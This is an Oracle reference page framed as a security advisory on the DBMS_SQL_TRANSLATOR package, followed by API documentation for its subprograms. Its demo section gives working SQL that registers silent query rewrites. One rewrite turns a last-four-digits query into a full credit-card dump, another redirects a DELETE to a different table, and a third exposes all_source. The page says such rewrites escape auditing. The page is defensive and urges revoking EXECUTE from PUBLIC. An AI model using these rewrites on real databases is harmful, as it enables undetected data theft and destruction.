| Security Advisory |
A SQL translation profile is an editionable database schema object that resides in SQL translation profile namespace. A SQL translation profile cannot be created as a common object in a consolidated database.
Does any of that make sense? Thought not. A SQL Translation Profile is in practical terms is a SQL rewrite.
And, a SQL rewrite is another way of saying that when the database receives an instruction that it can match with a redirection it will perform the action it is redirected to perform and not do what it was asked to do.
So consider a SQL statement intended to return harmless information that instead returns privileged information. Or consider a statement intended to act on one table that performs a similar action but upon a different database object.
The "How Oracle Works" demos below will provide a taste of the dangers lurking inside this built-in package. |
| |
| Recommended Security Rules |
NEVER
- Let any user or schema without documented justification or escalated privileges gain access to this package by revoking EXECUTE from PUBLIC
WITH GREAT CARE
- Identify legitimate requirements for access to this package and grant EXECUTE explicitly to only justified schemas
- Query the data dictionary after EXECUTE has been revoked from PUBLIC to verify the equivalence created is the equivalence approved by IT management and your CISO
CAUTIONS
- Some usage may be in the form of dynamic SQL so carefully verify usage requirements in source code as well as in DBA_DEPENDENCIES
|
| |
| How Oracle Works |
| How Oracle imagined this package would be used |
Oracle's original concept for the SQL Translator
in conjunction with the SQL Translation Framework, which was a Java engine
that performed SQL translation between from other products to Oracle SQL,
was that applications written for Sybase and SQL Server (TransactSQL)
could be run without recoding on an Oracle Database.
They may have even conceived that the tool could be used in a manner
analogous to DBMS_ADVANCED_REWRITE to replace poorly written Oracle SQL
with brilliantly written Oracle SQL.
What they apparently did not consider was the possibility that the tool could also translate perfectly good but carefully vetted Oracle SQL into attack code. And, the fact that they didn't consider it likely explains why EXECUTE on this package is granted to PUBLIC.
Be sure that after you run the following demos you use dbms_sql_translator.drop_profile('DBSECWORX'); to drop the SQL Translation profile. |
| An exploit that takes advantage of this package to end-run security, testing, and auditing. |
This demonstration starts with the creation of a table holding credit card data.
conn uwclass/uwclass@pdbdev
CREATE TABLE uwclass.cc_data (
ccno VARCHAR2(19),
expdate DATE,
ccvno VARCHAR2(4));
INSERT INTO uwclass.cc_data
(ccno, expdate, ccvno)
VALUES
('4114-0113-1518-7114', SYSDATE+100, '1234');
INSERT INTO uwclass.cc_data
(ccno, expdate, ccvno)
VALUES
('5123-4567-8901-2345', SYSDATE+150, '9876');
COMMIT;
An unrestricted SELECT statement clearly compromises PCI data.
SELECT * FROM uwclass.cc_data;
CCNO EXPDATE CCVN
------------------- -------------------- ----
5123-4567-8901-2345 11-MAY-2020 19:29:45 9876
4114-0113-1518-7114 30-NOV-2019 11:01:23 1234
Whereas a query of the final 4 digits of a credit card or tax id number could be safely used for identification.
SELECT SUBSTR(ccno, -4, 4) FINAL4 FROM uwclass.cc_data;
FINAL4
------
2345
7114
The first step in this exploit is to create a translation profile using a package with privileges granted to PUBLIC.
exec dbms_sql_translator.create_profile('DBSECWORX');
PL/SQL procedure successfully completed.
col profile_name format a20
col translator format a11
SELECT * FROM dba_sql_translation_profiles;
OWNER PROFILE_NAME TRANSLATOR FOREI TRANS RAISE LOG_T TRACE LOG_E
------ ------------- ----------- ----- ----- ----- ----- ----- -----
SYS DBSECWORX TRUE TRUE FALSE FALSE FALSE FALSE
The next step is is to tell the optimizer to convert any request for the final four digits of a credit card into a request for the entire credit card including expiration date and security code.
BEGIN
dbms_sql_translator.register_sql_translation(profile_name => 'DBSECWORX', sql_text => 'SELECT SUBSTR(ccno,-4,4) FINAL4 FROM uwclass.cc_data',
translated_text => 'SELECT * FROM uwclass.cc_data');
END;
/
PL/SQL procedure successfully completed.
col txlrowner format a11
col txlrname format a9
SELECT * FROM sys.sqltxl$;
OBJ# TXLROWNER TXLRNAME FLAGS AUDIT$
------- ----------- --------- ---------- --------------------------------------
74835 3 --------------------------------------
col profile_name format a12
col sql_text format a70
col translated_text format a60
SELECT profile_name, sql_text, translated_text FROM user_sql_translations;
PROFILE_NAME
------------
SQL_TEXT
----------------------------------------------------------------------
TRANSLATED_TEXT
------------------------------------------------------------
DBSECWORX
SELECT SUBSTR(ccno,-4,4) FINAL4 FROM uwclass.cc_data
SELECT * FROM uwclass.cc_data
In this final step two ALTER SESSION statements are run enabling the user to use the translation profile.
ALTER SESSION SET sql_translation_profile = DBSECWORX;
ALTER SESSION SET EVENTS = '10601 trace name context forever, level 32';
And the clear result is that the query for a SUBSTRing of one column is rewritten to capture all information on every credit card in the entire table.
SQL> SELECT SUBSTR(ccno,-4,4) FINAL4 FROM uwclass.cc_data;
CCNO EXPDATE CCVN
------------------- -------------------- ----
5123-4567-8901-2345 11-MAY-2020 19:29:45 9876
4114-0113-1518-7114 30-NOV-2019 11:01:23 1234
The above demo is lightweight. It could easily be used to access data without an auditing or monitoring tool having a clue what had happened. The next demo is destructive.
And, the following demo is pales in comparison with what could be done with a tool for which EXECUTE is granted to PUBLIC. |
Now lets get nasty. In this demo we add an additional instruction to the DBSECWORX translation profile.
The new instruction tells the database to ignore a specific instruction to empty one table and, instead, empty a completely different table. |
let's start off with a demo of something that does not work. Then morph it into something that does.
conn uwclass/uwclass@pdbdev
The first step in this demo is to create a second table by cloning CC_DATA.
CREATE TABLE uwclass.cc_data2 AS
SELECT * FROM uwclass.cc_data;
BEGIN
dbms_sql_translator.register_sql_translation(profile_name => 'DBSECWORX', sql_text => 'DELETE FROM uwclass.cc_data2',
translated_text => 'DELETE FROM uwclass.cc_data');
END;
/
Repeat the ALTER SESSION statements if you are not still in the original session from the above demo.
ALTER SESSION SET sql_translation_profile = DBSECWORX;
ALTER SESSION SET EVENTS = '10601 trace name context forever, level 32';
Did you see the redirection above? A DELETE statement for one table becomes a DELETE statement for a completely different table. Try to delete the rows in cc_data2.
DELETE FROM uwclass.cc_data2;
2 rows deleted.
Two row where deleted somewhere but were they from the cc_data2 table?
SQL> SELECT * FROM cc_data2;
CCNO EXPDATE CCVN
------------------- -------------------- ----
5123-4567-8901-2345 11-MAY-2020 19:29:45 9876
4114-0113-1518-7114 30-NOV-2019 11:01:23 1234
SELECT * FROM cc_data;
no rows selected
Of course not. If they had been from the right table this demo wouldn't be demonstrating a security risk.
And, if the above example doesn't send shivers down your spine, consider taking a basic class in cyber security and don't log onto a database, or write any code, until you pass the final. |
| One more demo to demonstrate exactly how dangerous this package can be |
conn uwclass/uwclass@pdbdev
Read the statement in green ... it is as harmless as you can get. How about the one in red?
BEGIN
dbms_sql_translator.register_sql_translation(profile_name => 'DBSECWORX', sql_text => 'SELECT * FROM dual',
translated_text => 'SELECT text FROM all_source');
END;
/
Repeat the ALTER SESSION statements if you are not still in the original session from the above demo.
ALTER SESSION SET sql_translation_profile = DBSECWORX;
ALTER SESSION SET EVENTS = '10601 trace name context forever, level 32';
SELECT * FROM dual;
You probably want to hit [Ctrl] [C] as soon as what is happening becomes obvious: likely in far less time than it takes to read this sentence. |
| |
| DBMS_SQL_TRANSLATOR Package Information |
| AUTHID |
CURRENT_USER |
| Constants |
| Name |
Data Type |
Value |
| ATTR_EDITIONABLE |
VARCHAR2(30) |
'EDITIONABLE' |
| ATTR_FOREIGN_SQL_SYNTAX |
VARCHAR2(30) |
'FOREIGN_SQL_SYNTAX' |
| ATTR_LOG_ERRORS |
VARCHAR2(30) |
'LOG_ERRORS' |
| ATTR_LOG_TRANSLATION_ERROR |
VARCHAR2(30) |
'LOG_TRANSLATION_ERROR' |
| ATTR_RAISE_TRANSLATION_ERROR |
VARCHAR2(30) |
'RAISE_TRANSLATION_ERROR' |
| ATTR_TRACE_TRANSLATION |
VARCHAR2(30) |
'TRACE_TRANSLATOR' |
| ATTR_TRANSLATE_NEW_SQL |
VARCHAR2(30) |
'TRANSLATE_NEW_SQL' |
| ATTR_TRANSLATOR |
VARCHAR2(30) |
'TRANSLATOR' |
| ATTR_VALUE_TRUE |
VARCHAR2(30) |
'TRUE' |
| ATTR_VALUE_FALSE |
VARCHAR2(30) |
'FALSE' |
|
| Dependencies |
| ALL_ERROR_TRANSLATIONS |
DBMS_SQL_TRANSLATOR_LIB |
SYS_IXMLAGG |
| ALL_OBJECTS |
DBMS_STANDARD |
XMLAGG |
| ALL_SQL_TRANSLATIONS |
DUAL |
XMLTYPE |
| ALL_SQL_TRANSLATION_PROFILES |
SQLTXL$ |
XQSEQUENCE |
| DBMS_SQL_TRANSLATOR_EXPORT |
|
|
|
| Documented in Types & Packages |
Yes |
| Exceptions |
| Error Code |
Reason |
| ORA-00955 |
profile_exists |
| ORA-01031 |
insufficient_privilege |
| ORA-01435 |
no_such_user |
| ORA-24252 |
no_such_profile |
| ORA-24253 |
no_translation_found |
| ORA-29261 |
bad_argument |
|
| First Available |
12.1 |
| Security Model |
Owned by SYS with EXECUTE granted to PUBLIC
Another example we are calling out where a grant of EXECUTE to PUBLIC is unwarranted.
A decision to translate or more correctly replace one SQL statement with another should be granted to an application ... not to everyone and anyone that can has the CREATE SESSION privilege. |
| Source |
{ORACLE_HOME}/rdbms/admin/dbmssqll.sql |
| Subprograms |
|
| |
| CLEAR_SQL_TRANSLATION_ERROR |
| Clears the last error when the SQL was run |
dbms_sql_translator.clear_sql_translation_error(
profile_name IN VARCHAR2,
sql_text IN CLOB);
PRAGMA SUPPLEMENTAL_LOG_DATA(clear_sql_translation_error, AUTO_WITH_COMMIT); |
| TBD |
| |
| CREATE_PROFILE |
| Create a translation profile |
dbms_sql_translator.create_profile(
profile_name IN VARCHAR2,
editionable IN BOOLEAN DEFAULT TRUE);
PRAGMA SUPPLEMENTAL_LOG_DATA(create_profile, AUTO_WITH_COMMIT); |
conn sys@pdbdev as sysdba
exec dbms_sql_translator.create_profile('UW_TSQLTRANS', TRUE);
desc dba_sql_translation_profiles
col profile_name format a20
col translator format a11
SELECT *
FROM dba_sql_translation_profiles;
no rows selected
CREATE OR REPLACE PACKAGE uwclass.transpkg AUTHID CURRENT_USER IS
PROCEDURE translate_sql(sql_text IN CLOB,
translated_text OUT NOCOPY CLOB);
PROCEDURE translate_error(error_code IN BINARY_INTEGER,
translated_code OUT BINARY_INTEGER,
translated_sqlstate OUT NOCOPY VARCHAR2);
END transpkg;
/
exec dbms_sql_translator.set_attribute('UW_TSQLTRANS', dbms_sql_translator.attr_translator, 'uwclass.transpkg');
col txlrowner format 11
col txlrname format a9
SELECT * FROM sys.sqltxl$;
OBJ# TXLROWNER TXLRNAME FLAGS AUDIT$
---------- ----------- --------- ---------- --------------------------------------
98263 UWCLASS TRANSPKG 3 --------------------------------------
exec dbms_sql_translator.set_attribute('UW_TSQLTRANS', dbms_sql_translator.attr_trace_translation, dbms_sql_translator.attr_value_true);
SELECT * FROM sys.sqltxl$;
OBJ# TXLROWNER TXLRNAME FLAGS AUDIT$
---------- ----------- --------- ---------- --------------------------------------
98263 UWCLASS TRANSPKG 19 --------------------------------------
-- attributes are stored in the FLAGS column
| Flags Column Translation |
flags number not null, /* flags */
/* 0x01 = foreign SQL dialect */
/* 0x02 = automatic translation registration */
/* 0x04 = custom translation miss alert */
/* 0x08 = custom translation miss error */
/* 0x10 = tracing */ |
CREATE TABLE uwclass.tsql_target AS
SELECT srvr_id
FROM uwclass.servers
WHERE 1=2;
exec dbms_sql_translator.register_sql_translation(
profile_name => 'UW_TSQLTRANS',
sql_text => 'SELECT srvr_id INTO uwclass.tsql_target FROM uwclass.servers',
translated_text => 'INSERT INTO uwclass.tsql_target
SELECT srvr_id FROM uwclass.servers');
-- SELECT getdate(); vs SELECT sysdate FROM dual;
desc dba_sql_translations
col owner format a10
col sql_text format a40
col translated_text format a39
SELECT owner, profile_name, sql_text, translated_text
from dba_sql_translations;
SQL> BEGIN
2 execute immediate 'SELECT srvr_id INTO uwclass.tsql_target FROM uwclass.servers';
3 END;
4 /
BEGIN
*
ERROR at line 1:
ORA-00905: missing keyword
ORA-06512: at line 2
ALTER SESSION SET SQL_TRANSLATION_PROFILE = UW_TSQLTRANS;
ALTER SESSION SET EVENTS = '10601 trace name context forever, level 32';
BEGIN
execute immediate 'SELECT srvr_id INTO uwclass.tsql_target FROM uwclass.servers';
END;
/
DECLARE
hashVal NUMBER;
retVal VARCHAR2(30);
sqlTxt CLOB := 'SELECT TOP 5 * FROM emp';
BEGIN
hashVal := dbms_sql_translator.sql_hash(sqlTxt);
dbms_output.put_line(TO_CHAR(hashVal));
retVal := dbms_sql_translator.sql_id(sqlTxt);
dbms_output.put_line(TO_CHAR(retVal));
END;
/
ALTER SESSION SET SQL_TRANSLATION_PROFILE = UW_TSQLTRANS;
DECLARE
iClob CLOB := 'SELECT TOP 5 * FROM emp';
oCLOB CLOB;
BEGIN
dbms_sql_translator.translate_sql(iClob, oClob);
dbms_output.put_line(oClob);
END;
/
exec dbms_sql_translator.drop_profile('UW_SQLTRANS');
SELECT *
FROM dba_sql_translation_profiles; |
| |
| DEREGISTER_ERROR_TRANSLATION |
| Deregisters the translation of an Oracle error code and SQLSTATE in a SQL translation profile |
dbms_sql_translator.procedure register_error_translation(
profile_name IN VARCHAR2,
error_code IN PLS_INTEGER,
translated_code IN PLS_INTEGER DEFAULT NULL,
translated_sqlstate IN VARCHAR2 DEFAULT NULL,
enable IN BOOLEAN DEFAULT TRUE);
PRAGMA SUPPLEMENTAL_LOG_DATA(register_error_translation, AUTO_WITH_COMMIT); |
BEGIN
dbms_sql_translator.deregister_error_translation(profile_name => UW_SQLTRANS', error_code => 1);
END;
/ |
| |
| DEREGISTER_SQL_TRANSLATION |
| Deregisters the custom translation of a SQL statement in a SQL translation profile |
dbms_sql_translator.procedure deregister_sql_translation(
profile_name IN VARCHAR2,
sql_text IN CLOB);
PRAGMA SUPPLEMENTAL_LOG_DATA(deregister_sql_translation, AUTO_WITH_COMMIT); |
BEGIN
dbms_sql_translator.deregister_sql_translation('UW_SQLTRANS',
'SELECT TOP 5 * FROM emp');
END;
/ |
| |
| DROP_PROFILE |
| Drop a translation profile |
dbms_sql_translator.drop_profile(profile_name IN VARCHAR2);
PRAGMA SUPPLEMENTAL_LOG_DATA(drop_profile, AUTO_WITH_COMMIT); |
| See CREATE_PROFILE Demo Above |
| |
| ENABLE_ERROR_TRANSLATION |
| Enables a custom translation of an Oracle error code in a SQL translation profile |
dbms_sql_translator.enable_error_translation(
profile_name IN VARCHAR2,
error_code IN PLS_INTEGER,
enable IN BOOLEAN DEFAULT TRUE);
PRAGMA SUPPLEMENTAL_LOG_DATA(enable_error_translation, AUTO_WITH_COMMIT); |
BEGIN
dbms_sql_translator.enable_error_translation('UW_SQLTRANS', 1, TRUE);
END;
/ |
| |
| ENABLE_SQL_TRANSLATION |
| Enables a custom translation of an Oracle error code in a SQL translation profile |
dbms_sql_translator.enable_sql_translation(
profile_name IN VARCHAR2,
sql_text IN CLOB,
enable IN BOOLEAN DEFAULT TRUE);
PRAGMA SUPPLEMENTAL_LOG_DATA(enable_sql_translation, AUTO_WITH_COMMIT); |
BEGIN
dbms_sql_translator.enable_sql_translation('UW_SQLTRANS',
'SELECT TOP 5 * FROM emp', TRUE);
END;
/ |
| |
| EXPORT_PROFILE |
| Exports the content of a SQL translation profile |
dbms_sql_translator.export_profile(
profile_name IN VARCHAR2,
content OUT NOCOPY CLOB); |
DECLARE
lRetVal CLOB;
BEGIN
dbms_sql_translator.export_profile('UW_SQLTRANS', lRetVal);
END;
/ |
| |
| IMPORT_PROFILE |
| Imports the content of a SQL translation profile |
dbms_sql_translator.import_profile(
profile_name IN VARCHAR2,
content IN CLOB); |
DECLARE
lContent CLOB;
BEGIN
dbms_sql_translator.import_profile(profile_name => 'UW_SQLTRANS', content => content);
END;
/ |
| |
| REGISTER_ERROR_TRANSLATION |
| Registers a custom translation of an Oracle error code and SQLSTATE in a SQL translation profile |
dbms_sql_translator.register_error_translation(
profile_name IN VARCHAR2,
error_code IN PLS_INTEGER,
translated_code IN PLS_INTEGER DEFAULT NULL,
translated_sqlstate IN VARCHAR2 DEFAULT NULL,
enable IN BOOLEAN DEFAULT TRUE);
PRAGMA SUPPLEMENTAL_LOG_DATA(register_error_translation, AUTO_WITH_COMMIT); |
BEGIN
dbms_sql_translator.register_error_translation(profile_name => 'UW_SQLTRANS', error_code => 1, translated_code => 2601);
END;
/ |
| |
| REGISTER_SQL_TRANSLATION |
| Registers a custom translation of a SQL statement in a SQL translation profile |
dbms_sql_translator.register_sql_translation(
profile_name IN VARCHAR2,
sql_text IN CLOB,
translated_text IN CLOB DEFAULT NULL,
enable IN BOOLEAN DEFAULT TRUE);
PRAGMA SUPPLEMENTAL_LOG_DATA(register_sql_translation, AUTO_WITH_COMMIT); |
| See CREATE_PROFILE Demo Above |
| |
| SET_ATTRIBUTE |
| Sets an attribute of a SQL translation profile |
dbms_sql_translator.set_attribute(
profile_name IN VARCHAR2,
attribute_name IN VARCHAR2,
attribute_value IN VARCHAR2);
PRAGMA SUPPLEMENTAL_LOG_DATA(set_attribute, AUTO_WITH_COMMIT); |
| See CREATE_PROFILE Demo Above |
| |
| SET_DICTIONARY_SQL_ID |
| Sets the SQL identifier of the SQL text in translation dictionary used to translate the current SQL statement |
dbms_sql_translator.set_dictionary_sql_id(dictionary_sql_id IN VARCHAR2); |
exec dbms_sql_translator.set_dictionary_sql_id('b4yz288n4gyc6'); |
| |
| SET_ERROR_TRANSLATION_COMMENT |
| Sets the comment on a custom translation of an Oracle error code in a SQL translation profile |
set_error_translation_comment(
profile_name IN VARCHAR2,
error_code IN PLS_INTEGER,
comment IN VARCHAR2); |
BEGIN
dbms_sql_translator.set_error_translation_comment('UW_SQLTRANS', 1, 'Well there you go again');
END;
/ |
| |
| SET_SQL_TRANSLATION_COMMENT |
| Sets the comment on a custom translation of a SQL statement in a SQL translation profile |
dbms_sql_translator.set_sql_translation_comment(
profile_name IN VARCHAR2,
sql_text IN CLOB,
comment IN VARCHAR2); |
BEGIN
dbms_sql_translator.set_sql_translation_comment('UW_SQLTRANS', 'SELECT TOP 5 * FROM emp', 'High 5');
END;
/ |
| |
| SET_SQL_TRANSLATION_MODULE |
| Sets the module and action on a custom translation of a SQL statement in a SQL translation profile |
dbms_sql_translator.set_sql_translation_module(
profile_name IN VARCHAR2,
sql_text IN CLOB,
module IN VARCHAR2,
action IN VARCHAR2) |
BEGIN
dbms_sql_translator.set_sql_translation_comment('UW_SQLTRANS', 'SELECT TOP 5 * FROM emp', 'SQL Translation Demo', 'Translation Test);
END;
/
SELECT module, action
FROM v$session
WHERE module = 'SQL Translation Demo'; |
| |
| SQL_HASH |
| Computes the hash value of a SQL statement in a SQL translation profile |
dbms_sql_translator.sql_hash(sql_text IN CLOB)
RETURN NUMBER DETERMINISTIC; |
| See CREATE_PROFILE Demo Above |
| |
| SQL_ID |
| Computes the SQL identifier of a SQL statement in a SQL translation profile |
dbms_sql_translator.sql_id(sql_text IN CLOB)
RETURN VARCHAR2 DETERMINISTIC; |
| See CREATE_PROFILE Demo Above |
| |
| TRANSLATE_ERROR |
| Translates an Oracle error code and an ANSI SQLSTATE using a SQL translation profile |
dbms_sql_translator.translate_error(
error_code IN PLS_INTEGER,
translated_code OUT PLS_INTEGER,
translated_sqlstate OUT NOCOPY VARCHAR2); |
ALTER SESSION SET SQL_TRANSLATION_PROFILE = UW_SQLTRANS;
DECLARE
x PLS_INTEGER;
y VARCHAR2(60);
BEGIN
dbms_sql_translator.translate_error(1, x, y);
dbms_output.put_line(x);
dbms_output.put_line(y);
END;
/ |
| |
| TRANSLATE_SQL |
| Translates a SQL statement using a SQL translation profile |
dbms_sql_translator.translate_sql(
sql_text IN CLOB,
translated_text OUT NOCOPY CLOB); |
| See CREATE_PROFILE Demo Above |